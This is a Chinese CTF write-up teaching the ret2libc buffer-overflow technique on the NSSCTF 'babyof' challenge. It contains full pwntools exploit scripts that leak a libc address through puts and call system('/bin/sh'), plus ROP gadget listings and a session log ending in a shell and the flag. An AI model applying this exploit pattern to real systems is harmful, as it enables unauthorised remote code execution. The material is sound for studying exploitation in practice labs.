PWN入门-ret2libc-1
Sat Sep 21 2024
什么是ret2libc
ret2libc是一种常见的缓冲区溢出攻击技术。 通过这种方法,利用程序中的漏洞来执行已存在于内存中的代码,通常是 libc 库中的函数,而不是插入自定义的恶意代码。 这种攻击方法的优势在于,攻击者不需要将恶意代码注入程序中,只需利用已有的库函数来执行恶意操作。
解题
本题出处为NSSCTF上的[2021 鹤城杯]babyof
checksec
SH
12345678
checksec --file whitegive_pwn
[*] '/pwn/pwnfiles/whitegive_pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
使用checksec分析二进制文件
IDA
打开IDA进行反编译
发现main函数指向了一个sub_400632()函数,打开此函数
发现存在read()栈溢出危险函数
检索文件中存在的函数
并没有发现存在后门函数
猜测使用ret2libc获取flag
编写exp
接收并解析 puts 地址
PYTHON
1234567891011121314151617181920212223242526272829303132
from pwn import * # 导入pwntools库中的所有功能,用于进行二进制漏洞利用。
from LibcSearcher import * # 导入LibcSearcher,用于根据泄露的函数地址查找 libc中的地址。
context(os='linux',arch='amd64',log_level='debug') # 设置环境
io=remote("node4.anna.nssctf.cn",28473) # 连接到远程服务
# 加载ELF二进制文件
elf=ELF('/pwn/pwnfiles/babyof') # 加载指定的 ELF 二进制文件,以便提取函数和地址信息
puts_got=elf.got['puts'] # 获取puts函数在全局偏移表(GOT)中的地址。
puts_plt=elf.plt['puts'] # 获取 puts 函数在过程链接表(PLT)中的地址。
rdi=0x400743
ret=0x400506
sub=0x400632 # sub_400632
payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(sub)
# 栈溢出 + rdi的地址压入payload + puts的GOT地址压入 payload + puts的PLT地址压入payload + sub_400632的地址压入payload
io.sendlineafter(b'overflow?',payload) # 发送Payload
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
# recvuntil(b'\x7f'): 接收数据直到遇到 0x7f 字节。
#[-6:]: 取接收到的数据的最后 6 字节。
#ljust(8, b'\x00'): 将数据左填充为 8 字节,使用 0x00 填充。
#u64(...):将字节转换为64位无符号整数,即puts地址。
print("puts_addr",hex(puts_addr)) # 打印泄露的puts地址,格式为十六进制
#结果是 0x7f7b86b92aa0
io.interactive()
GOT和PLT是和动态链接相关的。 1.GOT中的地址是动态的,程序运行时会根据实际情况进行更新。 2.PLT表本身的内容在程序运行过程中是不变的,但是它依赖于GOT中的动态地址来完成跳转。 所以每次运行都需要重新获取它们。
如何获取RDI和REX的地址
SH
12345678910111213141516
ROPgadget --binary babyof --only 'pop|ret'
Gadgets information
============================================================
0x000000000040073c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400740 : pop r14 ; pop r15 ; ret
0x0000000000400742 : pop r15 ; ret
0x000000000040073b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400619 : pop rbp ; ret
0x0000000000400743 : pop rdi ; ret # RDI
0x0000000000400741 : pop rsi ; pop r15 ; ret
0x000000000040073d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400506 : ret # REX
0x0000000000400870 : ret 0xfffd
payload的解释
- 将 rdi gadget 的地址压入 payload: 这个gadget用于控制rdi寄存器,也就是puts函数的第一个参数。
- 将 puts_got 地址压入 payload: 这个地址作为 puts 的参数,目的是让puts函数输出GOT表中存储的puts函数的实际地址,以泄露libc中的函数地址。
- 将 puts_plt 地址压入 payload: 通过 PLT 调用 puts 函数。
- 将 sub_400632 压入 payload: 调用完 puts后,跳转到一个已知的安全位置。
继续编写exp
PYTHON
12345678910111213141516171819202122232425262728
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.anna.nssctf.cn",28349)
elf=ELF('/pwn/pwnfiles/babyof')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
rdi=0x400743
ret=0x400506
sub=0x400632
payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(sub)
io.sendlineafter(b'overflow?',payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr",hex(puts_addr))
libc=LibcSearcher('puts',puts_addr) # 通过泄露的puts地址来查找对应的libc版本,并获取该版本中不同函数的偏移地址。
base=puts_addr - libc.dump('puts') # 通过减去puts在libc中的偏移,得到了libc的基地址。
system=base + libc.dump('system') # 通过libc基地址加上system函数的偏移量,得到system函数的地址。
bin_sh=base + libc.dump('str_bin_sh')# 通过libc基地址加上/bin/sh字符串的偏移量,得到了/bin/sh字符串的地址。
payload=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'overflow?',payload)
payload的解释
- p64(ret): 一般是一个 ret指令,用于对齐栈空间(有些系统在调用 system 时需要对齐栈指针)。
- p64(rdi): 用于将 /bin/sh的地址传递给system函数,rdi是传递第一个参数的寄存器。
- p64(bin_sh): /bin/sh的地址,作为参数传递给 system 函数。
- p64(system): system函数的地址,用来执行 system(“/bin/sh”),从而获得一个shell。
注意
一般来说exp就写到这里就可以获取到flag,但是此题目LibcSearcher查询不到libc文件
解决办法
寻找libc文件,并查看偏移量量,自己书写上去。
通过libc database search网站查询libc文件
之前执行exp时已经得到了puts的地址为0x7f7b86b92aa0,通过此地址查询libc文件
此题使用的libc文件是libc6_2.27-3ubuntu1.4_amd64
查看偏移量
修改exp
PYTHON
123456789101112131415161718192021222324252627282930
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
io=remote("node4.anna.nssctf.cn",28473)
elf=ELF('/pwn/pwnfiles/babyof')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
rdi=0x400743
ret=0x400506
sub=0x400632
payload=b'a'*(0x40+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(sub)
io.sendlineafter(b'overflow?',payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr",hex(puts_addr))
#libc=LibcSearcher('puts',puts_addr)
base=puts_addr - 0x080aa0
system=base + 0x04f550
bin_sh=base + 0x1b3e1a
payload=b'a'*(0x40+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'overflow?',payload)
io.interactive()
获取flag
SH
123456789101112131415161718192021222324252627282930313233343536373839
puts_addr 0x7f1704d20aa0
[DEBUG] Sent 0x69 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000040 61 61 61 61 61 61 61 61 06 05 40 00 00 00 00 00 │aaaa│aaaa│··@·│····│
00000050 43 07 40 00 00 00 00 00 1a 3e e5 04 17 7f 00 00 │C·@·│····│·>··│····│
00000060 50 f5 ce 04 17 7f 00 00 0a │P···│····│·│
00000069
[*] Switching to interactive mode
[DEBUG] Received 0xe bytes:
b'I hope you win'
I hope you win[DEBUG] Received 0x1 bytes:
b'\n'
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x22 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'pwn5\n'
bin
dev
flag
lib
lib32
lib64
pwn5
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x2d bytes:
b'NSSCTF{d9594d94-73b5-42b6-81d0-b397309fe094}\n'
NSSCTF{d9594d94-73b5-42b6-81d0-b397309fe094}
成功